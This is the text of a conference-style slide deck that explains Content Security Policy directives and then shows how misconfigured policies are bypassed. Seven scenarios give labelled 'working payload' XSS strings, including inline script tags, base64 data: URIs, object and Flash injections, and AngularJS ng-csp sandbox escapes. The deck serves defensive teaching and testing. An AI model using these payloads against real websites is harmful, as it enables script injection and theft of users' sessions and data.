Building & Breaking

Content Security Policy


About me

Mohammed Akbar Shariff

- Security Engineer 5+ years exp


- Current: PhonePe | Ex-Olacabs


-    @akbarshariffak


  • Mechanism/policy to define which resources can be fetched out or executed by a web page.
  • Policy that decides which scripts, images, iframes can be called or executed on a particular page from different locations.
  • Implemented via response headers or meta elements of the HTML page. Further, it’s browser’s call to follow that policy and actively block violations


- To secure web applications against content injection like XSS & Clickjacking attacks.

- Server can specify which protocols are allowed to be used.

- Reports a wide range of attack details that were unsuccessful, Web admin can spot Potential bug.

CSP- the mitigation of XSS? - NO

- An extra security layer against content injection attacks.

- First defence always output encoding & input sanitisation



- CSP works by restricting the origins that active and passive content can be loaded from.

- Restrict the execution of inline JavaScript, and the use of eval().

- Website owner required to define all allowed origins for every type of resource your website utilises.

Content Security Policy

- How does it work

Implemented via Response Header:

Content-Security-policy: default-src 'self'; script-src 'self'; img-src 'self'; style-src 'self';



Implemented via meta tag:


<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

Content Security Policy

- Implementation


script-src: Specifies allowed sources for JavaScript. Includes URLs loaded directly into <script> elements & things like inline script event handlers (onclick) and XSLT stylesheets which can trigger script execution.
default-src: This directive defines the policy for fetching resources by default. 
frame-ancestors: specifies the sources that can embed the current page. This directive applies to <frame>, <iframe>, <embed>, and <applet> tags. can't be used in <meta> tags.
media-src: It defines allowed sources from where media objects like <audio>,<video> and <track> can be loaded.
object-src: It defines allowed sources for the <object>,<embed> and <applet> elements.
base-uri: It defines allowed URLs which can be loaded using <base> element.
form-action: This directive lists valid endpoints for submission from <form> tags.
plugin-types: It defines limits the kinds of mime types a page may invoke.
connect-src: This directive restricts URLs to load using interfaces like <a>, fetch, websocket, XMLHttpRequest.
img-src: It defines allowed sources to load images on the web page.


 *: This allows any URL except data: blob: filesystem: schemes
self: This defines that loading of resources on the page is  allowed from the same domain.
data: This source allows loading resources via the data scheme (eg Base64 encoded images)
none: This directive allows nothing to be loaded from any source.
unsafe-eval: allows the use of eval() and similar methods for creating code from strings. This is not a safe practice to include this source in any directive. 
For the same reason it is named as unsafe. 
unsafe-inline: This allows the use of inline resources, such as inline <script> elements, javascript: URLs, inline event handlers, and inline <style> elements. 
Again this is not recommended for security reasons.
unsafe-hashes: This allows to enable specific inline event handlers.
nonce: A whitelist for specific inline scripts using a cryptographic nonce (number used once). The server must generate a unique nonce value each time it transmits a policy.

CSP- Proactive & Reactive


- report-uri | report-to


CSP- Example analysis

Lets take an example of a CSP for

Content-Security-Policy: default-src 'self';
                         report-uri /Report-parsing-url;
<script src=script.js> , <img src=image.jpg>

above  image & script will be allowed to load as that is loading from the same domain.

<script src=>
"/><script>alert(1337)</script> :

This script will not-allowed as the script is trying to load from undefined domain i.e.

  • This will not-allowed on the page, as inline-src is set to 'self'.
  • If other directives are not defined but they will be following default-src directive value only.

Below is the list of directives which will follow default-src value even though they are not defined in the policy:

child-src    connect-src    font-src    frame-src    img-src    manifest-src
media-src    object-src    prefetch-src    script-src    script-src-elem
script-src-attr    style-src    style-src-elem    style-src-attr    worker-src

CSP- Self analysis

Lets take an example of a CSP for

Content-Security-Policy: default-src 'self'; 
                       img-src https://*; 
                       child-src 'none'; 
                   report-uri /Report-parsing-url;
img-src https://*

What's wrong in the above policy?

CSP Online Evaluators



curl -X POST -d '{"URL":""}' | jq

3.[evaluator] | [generator]  | [CI/CD?]

Integrate the following curl in CI/CD build pipeline to check CSP violations & blocking builds.

Dealing with Inline scripts

- Use 'nonce'
- Hash
- Unsafe-inline ==[Not Recomended]
- Push inline to javascript on same origin 'self'.
<script id="config" type="text/json">
  "version": "7330b4",
  "appRoot": "//",
  "cdnRoot": "//"
<script src="js/app.js"></script>

This example will cause a CSP exception

In js/app.js

var config = document.getElementById('config');
window.CONFIG = JSON.parse(config.textContent || config.innerHTML);


script-src 'unsafe-inline' https://*; 
child-src 'none'; 
report-uri /Report-parsing-url;

By observing this policy we can say it's vulnerable and will allow inline scripting as well .

Reason:  usage of unsafe-inline value of script-src directive.

working payload: "/><script>alert(1337);</script>

Scenario 1


script-src 'unsafe-eval' data: http://*; 
child-src 'none'; 
report-uri /Report-parsing-url;

Again this is a misconfigured CSP policy due to

usage of unsafe-eval.

working payload: 
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

Base64 value = alert(document.domain)

Scenario 2


script-src 'self' report-uri /Report-parsing-url;

Misconfigured CSP policy again! we can see object-src and default-src are missing here.

working payload: 
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>

">'><object type="application/x-shockwave-flash" data='https: // r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

Scenario 3


script-src 'self' https: data *; child-src 'none'; report-uri /Report-parsing-url;

Again this is a misconfigured CSP policy due to usage of a wildcard in script-src.

working payload: 
"/>'><script src=></script>

"/>'><script src=data:text/javascript,alert(1337)></script>

Scenario 4


script-src 'self'; object-src 'none' ; report-uri /Report-parsing-url;

- we can see object-src is set to none but yes this CSP can be bypassed too to perform XSS.

- If the application allows users to upload any type of file to the host. An attacker can upload any malicious script and call within any tag.

working payload: 

"/>'><script src="/user_upload/mypic.png.js"></script>

Scenario 5


script-src 'self';
object-src 'none' ; 
report-uri /Report-parsing-url;

- script-src is set to self and a javascript library domain which is whitelisted.

- It can be bypassed using any vulnerable version of javascript file from that library , which allows the attacker to perform xss.

working payload: 
<script src=""></script>
<script src="" /></script>
 <div ng-app ng-csp>
  {{ x = $"fetch('http://localhost/index.php').then(d => {})") }}</div>
"><script src=""></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
"><script src=""> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>

Scenario 6


script-src 'self' ; object-src 'none' ; report-uri /Report-parsing-url;

there are two whitelisted domains from where scripts can be loaded to the webpage.

Now if one domain has any open redirect endpoint CSP can be bypassed easily. The reason behind that is an attacker can craft a payload using redirect domain targeting to other whitelisted domains having a jsonp endpoint. And in this scenario XSS will execute because while redirection browser only validated host, not the path parameters.

working payload: 
">'><script src=""></script>"> 

Scenario 7




- [nonce]
- [faq]
- [hash]
- [Lavakumar - Everything you need to know about client-side malicious code execution](

Building & Breaking Content Security Policy​

By Akbar Test

Building & Breaking Content Security Policy​

  • 146